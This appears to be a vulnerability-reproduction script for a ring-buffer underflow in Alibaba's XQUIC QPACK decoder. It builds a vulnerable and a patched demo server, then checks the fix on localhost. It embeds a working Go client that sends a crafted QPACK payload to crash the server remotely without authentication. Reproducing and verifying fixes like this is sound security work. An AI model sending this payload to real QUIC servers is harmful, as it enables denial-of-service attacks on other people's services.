#!/bin/bash
# =============================================================================
# CVE-2026-XRING - Alibaba XQUIC HTTP/3/QPACK ring buffer resize underflow
# Reproduction script (network_protocol / tcp_peer over QUIC/UDP).
#
# Root cause: xqc_ring_mem_resize() "both-truncated" resize branch computes
#   ori_sz1 = mcap - soffset_ori   (uses the NEW capacity)
# instead of
#   ori_sz1 = rmem->capacity - soffset_ori   (the OLD capacity)
# When the QPACK dynamic-table ring memory has wrapped (sidx/eidx truncated in
# the old buffer) and the decoder receives a Set Dynamic Table Capacity that
# grows the table (cap > rmem->capacity), the bad ori_sz1 produces:
#   1. a 64-byte heap out-of-bounds read of the old buffer, and
#   2. a size_t underflow (rmem->used - ori_sz1) into the third xqc_memcpy,
# which glibc _FORTIFY_SOURCE aborts ("*** buffer overflow detected ***").
#
# Trigger (spec-compliant QPACK encoder-stream instructions sent by a remote,
# unauthenticated QUIC/HTTP3 client to the XQUIC demo_server):
#   Set Dynamic Table Capacity = 64
#   61 x Insert "x":"y"            (eviction wraps the 64-byte ring buffer)
#   Insert "AAAAA":"BBBBB"
#   Set Dynamic Table Capacity = 65   (grow 64 -> 128 via pow2_upper(65)=128,
#                                       both-truncated branch -> crash)
#
# Negative control: the same one-line fix (ori_sz1 = rmem->capacity -
# soffset_ori) makes the identical payload no longer crash the server.
# =============================================================================
set -euo pipefail

# ---- portable paths ----
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART" "$ART/http"

cd "$ROOT"

# ---- locate the durable project cache (preferred) ----
CACHE=""
if [ -f "$ROOT/project_cache_context.json" ]; then
    PREPARED=$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)
    if [ "$PREPARED" = "true" ]; then
        CACHE=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || echo "")
    fi
fi
# fallback bundle-local artifact cache
if [ -z "$CACHE" ] || [ ! -d "$CACHE" ]; then
    CACHE="$ROOT/artifacts/xquic-cache"
    mkdir -p "$CACHE"
fi

echo "[*] project cache: $CACHE"

VULN_BIN="$CACHE/demo_server_vuln"
FIXED_BIN="$CACHE/demo_server_fixed"
CLIENT_BIN="$CACHE/xring-client/xring-client"
BABASSL_LIB="$CACHE/babassl-prefix/lib64"

PORT=8443
TARGET="127.0.0.1:${PORT}"

# ----------------------------------------------------------------------------
# ensure runtime deps (libevent runtime for demo_server, openssl for cert gen)
# ----------------------------------------------------------------------------
ensure_runtime_deps() {
    if ! ldconfig -p 2>/dev/null | grep -q 'libevent-2.1.so.7'; then
        echo "[*] installing libevent runtime"
        sudo apt-get update -qq >/dev/null 2>&1 || true
        sudo apt-get install -y -qq libevent-2.1-7 libevent-dev openssl ca-certificates >/dev/null 2>&1 || true
    fi
    command -v openssl >/dev/null 2>&1 || { sudo apt-get install -y -qq openssl >/dev/null 2>&1 || true; }
}

# ----------------------------------------------------------------------------
# build everything from source (fallback when prebuilt artifacts are absent)
# ----------------------------------------------------------------------------
build_all() {
    echo "[*] building XQUIC v1.9.4 (vuln + fixed) and quic-go client from source"
    sudo apt-get update -qq >/dev/null 2>&1 || true
    sudo apt-get install -y -qq git ca-certificates cmake gcc g++ make pkg-config libevent-dev openssl curl >/dev/null 2>&1 || true

    # Tongsuo (BabaSSL) 8.4-stable
    if [ ! -f "$CACHE/babassl-prefix/lib64/libssl.a" ]; then
        rm -rf "$CACHE/babassl-src"
        git clone --depth 1 --branch 8.4-stable https://github.com/Tongsuo-Project/Tongsuo.git "$CACHE/babassl-src" >/dev/null 2>&1
        ( cd "$CACHE/babassl-src" && ./config --prefix="$CACHE/babassl-prefix" enable-ntls enable-quic no-tests >/dev/null 2>&1 \
            && make -j"$(nproc)" >/dev/null 2>&1 && make install_sw >/dev/null 2>&1 )
    fi

    # XQUIC v1.9.4 vulnerable tree
    if [ ! -d "$CACHE/repo" ]; then
        git clone --depth 1 --branch v1.9.4 https://github.com/alibaba/xquic.git "$CACHE/repo" >/dev/null 2>&1
    fi
    sed -i 's/-Werror//g' "$CACHE/repo/CMakeLists.txt"

    build_xquic "$CACHE/repo" "$CACHE/xquic-build" "$VULN_BIN"

    # fixed tree (one-line patch)
    rm -rf "$CACHE/repo-fixed"; cp -a "$CACHE/repo" "$CACHE/repo-fixed"
    sed -i 's/size_t ori_sz1 = mcap - soffset_ori;.*/size_t ori_sz1 = rmem->capacity - soffset_ori;    \/* size of first block in original buffer *\//' \
        "$CACHE/repo-fixed/src/common/utils/ringmem/xqc_ring_mem.c"
    build_xquic "$CACHE/repo-fixed" "$CACHE/xquic-build-fixed" "$FIXED_BIN"

    # Go toolchain + quic-go client
    if [ ! -x "$CACHE/go-root/bin/go" ]; then
        curl -sSL -o "$CACHE/go.tgz" https://go.dev/dl/go1.26.5.linux-amd64.tar.gz
        rm -rf "$CACHE/go-root"; mkdir -p "$CACHE/go-root"
        tar -C "$CACHE/go-root" --strip-components=1 -xzf "$CACHE/go.tgz"
    fi
    if [ ! -x "$CLIENT_BIN" ]; then
        rm -rf "$CACHE/xring-client-src"; mkdir -p "$CACHE/xring-client-src"
        # minimal quic-go client reproducing the FoxIO XRING payload
        cat > "$CACHE/xring-client-src/main.go" <<'GOEOF'
package main

import (
	"context"
	"crypto/tls"
	"flag"
	"fmt"
	"log"
	"time"

	"github.com/quic-go/quic-go"
)

func main() {
	target := flag.String("target", "127.0.0.1:8443", "XQUIC server host:port")
	flag.Parse()
	payload := buildPayload()
	fmt.Printf("payload len %d\n", len(payload))
	tlsConf := &tls.Config{InsecureSkipVerify: true, ServerName: "localhost", NextProtos: []string{"h3"}}
	quicConf := &quic.Config{MaxIdleTimeout: 30 * time.Second, KeepAlivePeriod: 15 * time.Second}
	conn, err := quic.DialAddr(context.Background(), *target, tlsConf, quicConf)
	if err != nil { log.Fatalf("dial: %v", err) }
	defer conn.CloseWithError(0, "done")
	ctrl, err := conn.OpenUniStream()
	if err != nil { log.Fatalf("control stream: %v", err) }
	if _, err := ctrl.Write([]byte{0x00, 0x04, 0x00}); err != nil { log.Fatalf("control write: %v", err) }
	enc, err := conn.OpenUniStream()
	if err != nil { log.Fatalf("encoder stream: %v", err) }
	if _, err := enc.Write(append([]byte{0x02}, payload...)); err != nil { log.Fatalf("encoder write: %v", err) }
	fmt.Println("payload sent")
	time.Sleep(3 * time.Second)
}

func buildPayload() []byte {
	var buf []byte
	buf = append(buf, prefixedInt(64, 5, 0x20)...)
	for range 61 { buf = append(buf, insert("x", "y")...) }
	buf = append(buf, insert("AAAAA", "BBBBB")...)
	buf = append(buf, prefixedInt(65, 5, 0x20)...)
	return buf
}

func insert(name, value string) []byte {
	var buf []byte
	buf = append(buf, prefixedInt(uint64(len(name)), 5, 0x40)...)
	buf = append(buf, name...)
	buf = append(buf, prefixedInt(uint64(len(value)), 7, 0x00)...)
	buf = append(buf, value...)
	return buf
}

func prefixedInt(value uint64, prefixBits int, mask byte) []byte {
	maxPrefix := uint64((1 << prefixBits) - 1)
	if value < maxPrefix { return []byte{mask | byte(value)} }
	buf := []byte{mask | byte(maxPrefix)}
	remaining := value - maxPrefix
	for remaining >= 128 { buf = append(buf, byte(0x80|(remaining&0x7F))); remaining >>= 7 }
	return append(buf, byte(remaining))
}
GOEOF
        cat > "$CACHE/xring-client-src/go.mod" <<'GOMOD'
module xring-poc
go 1.26.4
require github.com/quic-go/quic-go v0.60.0
GOMOD
        ( cd "$CACHE/xring-client-src" && \
          GOROOT="$CACHE/go-root" GOPATH="$CACHE/gopath" GOCACHE="$CACHE/go-cache" GOFLAGS="-mod=mod" \
          PATH="$CACHE/go-root/bin:$PATH" go mod tidy >/dev/null 2>&1 && \
          GOROOT="$CACHE/go-root" GOPATH="$CACHE/gopath" GOCACHE="$CACHE/go-cache" GOFLAGS="-mod=mod" \
          PATH="$CACHE/go-root/bin:$PATH" go build -o "$CLIENT_BIN" . )
    fi
}

build_xquic() {
    local src="$1" bdir="$2" outbin="$3"
    rm -rf "$bdir"; mkdir -p "$bdir"
    ( cd "$bdir" && cmake -DXQC_ENABLE_TESTING=ON -DXQC_SUPPORT_SENDMMSG_BUILD=OFF -DXQC_ENABLE_EVENT_LOG=OFF \
        -DCMAKE_BUILD_TYPE=Release -DSSL_TYPE=babassl -DSSL_PATH="$CACHE/babassl-prefix" "$src" >/dev/null 2>&1 \
        && make -j"$(nproc)" demo_server >/dev/null 2>&1 )
    cp "$bdir/demo/demo_server" "$outbin"
}

# ----------------------------------------------------------------------------
# one attack attempt: start server, send payload, record crash state
#   args: bin  rundir  attempt_label
# returns: 0 if server CRASHED, 1 if server stayed ALIVE
# ----------------------------------------------------------------------------
run_attempt() {
    local bin="$1" rundir="$2" label="$3"
    rm -rf "$rundir"; mkdir -p "$rundir"
    ( cd "$rundir" && openssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:prime256v1 \
        -keyout server.key -out server.crt -days 365 -nodes -subj "/CN=localhost" >/dev/null 2>&1 )
    pkill -9 -x demo_server 2>/dev/null || true
    sleep 0.5
    # start the server as a direct child of this shell (from rundir so it finds
    # server.key/server.crt); redirect its stdio to files so it never holds the
    # script stdout pipe.
    pushd "$rundir" >/dev/null
    LD_LIBRARY_PATH="$BABASSL_LIB" "$bin" -l d >server.stdout 2>server.stderr &
    local pid=$!
    popd >/dev/null
    sleep 2
    if ! kill -0 "$pid" 2>/dev/null; then
        echo "[$label] server failed to start" | tee "$rundir/result.txt"
        return 2
    fi
    echo "[$label] server pid=$pid listening on udp/${PORT}" | tee -a "$rundir/result.txt"

    timeout 25 "$CLIENT_BIN" -target "$TARGET" >"$rundir/client.stdout" 2>"$rundir/client.stderr" || true
    sleep 3

    if kill -0 "$pid" 2>/dev/null; then
        echo "[$label] RESULT: server ALIVE (no crash)" | tee -a "$rundir/result.txt"
        kill -9 "$pid" 2>/dev/null || true
        return 1
    else
        set +e
        wait "$pid" 2>/dev/null; local rc=$?
        set -e
        echo "[$label] RESULT: server CRASHED exit=${rc}" | tee -a "$rundir/result.txt"
        return 0
    fi
}

# ----------------------------------------------------------------------------
# main
# ----------------------------------------------------------------------------
ensure_runtime_deps

if [ ! -x "$VULN_BIN" ] || [ ! -x "$FIXED_BIN" ] || [ ! -x "$CLIENT_BIN" ]; then
    build_all
fi

if [ ! -x "$VULN_BIN" ] || [ ! -x "$FIXED_BIN" ] || [ ! -x "$CLIENT_BIN" ]; then
    echo "[!] required binaries missing after build attempt" >&2
    ls -la "$VULN_BIN" "$FIXED_BIN" "$CLIENT_BIN" >&2 || true
    exit 2
fi

echo "[*] vuln bin:  $VULN_BIN"
echo "[*] fixed bin: $FIXED_BIN"
echo "[*] client:    $CLIENT_BIN"

# confirm the vulnerable source line is present in the vuln tree
echo "[*] vuln tree line:"; ( grep -n "ori_sz1 = mcap - soffset_ori" "$CACHE/repo/src/common/utils/ringmem/xqc_ring_mem.c" 2>/dev/null || echo "  (prebuilt; source not in cache)" )
echo "[*] fixed tree line:"; ( grep -n "ori_sz1 = rmem->capacity - soffset_ori" "$CACHE/repo-fixed/src/common/utils/ringmem/xqc_ring_mem.c" 2>/dev/null || echo "  (prebuilt; source not in cache)" )

VULN_CRASH=0
FIXED_ALIVE=0
VULN_EXIT_CODES=""
FIXED_EXIT_NOTES=""

for i in 1 2; do
    if run_attempt "$VULN_BIN" "$ART/vuln_attempt${i}" "vuln#${i}"; then
        VULN_CRASH=$((VULN_CRASH+1))
    fi
    VULN_EXIT_CODES="$VULN_EXIT_CODES $(cat "$ART/vuln_attempt${i}/result.txt" 2>/dev/null | grep -oE 'exit=[0-9]+' | head -1)"
    cp -f "$ART/vuln_attempt${i}/server.stderr" "$LOGS/vuln_attempt${i}_server.stderr" 2>/dev/null || true
    cp -f "$ART/vuln_attempt${i}/client.stdout" "$LOGS/vuln_attempt${i}_client.stdout" 2>/dev/null || true
    cp -f "$ART/vuln_attempt${i}/result.txt" "$LOGS/vuln_attempt${i}_result.txt" 2>/dev/null || true
done

for i in 1 2; do
    if run_attempt "$FIXED_BIN" "$ART/fixed_attempt${i}" "fixed#${i}"; then
        : # crashed -> not alive
    else
        FIXED_ALIVE=$((FIXED_ALIVE+1))
    fi
    cp -f "$ART/fixed_attempt${i}/server.stderr" "$LOGS/fixed_attempt${i}_server.stderr" 2>/dev/null || true
    cp -f "$ART/fixed_attempt${i}/client.stdout" "$LOGS/fixed_attempt${i}_client.stdout" 2>/dev/null || true
    cp -f "$ART/fixed_attempt${i}/result.txt" "$LOGS/fixed_attempt${i}_result.txt" 2>/dev/null || true
done

pkill -9 -x demo_server 2>/dev/null || true

echo "=========================================================="
echo "[*] vulnerable crashes: $VULN_CRASH / 2"
echo "[*] fixed alive (no crash): $FIXED_ALIVE / 2"
echo "[*] vuln exit codes:$VULN_EXIT_CODES"
echo "=========================================================="

# look for the glibc fortify signature in the vuln server stderr
FORTIFY_HIT=0
for i in 1 2; do
    if grep -q "buffer overflow detected" "$LOGS/vuln_attempt${i}_server.stderr" 2>/dev/null; then
        FORTIFY_HIT=$((FORTIFY_HIT+1))
    fi
done
echo "[*] glibc _FORTIFY_SOURCE abort observed: $FORTIFY_HIT / 2"

CONFIRMED=false
if [ "$VULN_CRASH" -ge 1 ] && [ "$FIXED_ALIVE" -ge 1 ]; then
    CONFIRMED=true
fi

# ---- write runtime manifest (strict JSON via python) ----
python3 - "$REPRO_DIR/runtime_manifest.json" "$CONFIRMED" "$VULN_CRASH" "$FIXED_ALIVE" "$FORTIFY_HIT" <<'PYEOF'
import json, sys
path, confirmed, vc, fa, fh = sys.argv[1], sys.argv[2]=='true', int(sys.argv[3]), int(sys.argv[4]), int(sys.argv[5])
arts = []
for i in (1,2):
    for kind in ("vuln","fixed"):
        for ext in ("server.stderr","client.stdout","result.txt"):
            p = f"logs/{kind}_attempt{i}_{ext}"
            arts.append(p)
manifest = {
    "entrypoint_kind": "tcp_peer",
    "entrypoint_detail": "QUIC/HTTP3 UDP peer: quic-go client dials XQUIC demo_server, opens HTTP/3 control stream + QPACK encoder unidirectional stream, sends Set Dynamic Table Capacity / Insert instructions",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": True,
    "runtime_stack": ["xquic-demo_server-v1.9.4", "babassl(tongsuo)-8.4-stable", "quic-go-v0.60.0-client", "glibc-_FORTIFY_SOURCE"],
    "proof_artifacts": arts,
    "notes": f"vulnerable server crashed {vc}/2 attempts (glibc fortify abort {fh}/2); fixed one-line-patch server stayed alive {fa}/2 attempts; confirmed={confirmed}"
}
with open(path, "w") as f:
    json.dump(manifest, f, indent=2)
print("[*] wrote", path)
PYEOF

echo "[*] confirmed=$CONFIRMED"

if [ "$CONFIRMED" = "true" ]; then
    echo "[+] CVE-2026-XRING reproduced: remote unauthenticated crash confirmed, negative control passes."
    exit 0
else
    echo "[!] reproduction not confirmed (vuln crashes=$VULN_CRASH, fixed alive=$FIXED_ALIVE)"
    exit 1
fi
